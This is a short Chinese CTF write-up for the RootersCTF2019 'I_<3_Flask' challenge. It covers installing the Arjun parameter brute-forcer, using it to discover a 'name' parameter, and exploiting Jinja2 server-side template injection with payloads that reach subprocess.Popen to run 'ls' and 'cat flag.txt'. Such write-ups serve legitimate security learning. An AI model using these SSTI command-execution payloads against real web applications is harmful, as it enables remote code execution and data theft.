[RootersCTF2019]I_<3_Flask(参数爆破工具arjun)

arjun安装

下载地址 s0md3v /Arjun

cd Arjun-2.1.4
pip3 install arjun
py -3 setup.py install

如果输入arjun -h有如下输出则安装成功
在这里插入图片描述
解题

首先使用arjun爆破参数

arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5

参数:

-d DELAY Delay between requests in seconds. (default: 0)

-c CHUNKS Chunk size. The number of parameters to be sent at once

爆破出参数name
在这里插入图片描述

首先7*7返回49,判断存在模板注入,然后就是常规SSTI了

# ls
?name={{''.__class__.__mro__[1].__subclasses__()[222]}}('ls',shell=True,stdout=-1).communicate()[0].strip()
# cat
?name={{''.__class__.__mro__[1].__subclasses__()[222]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值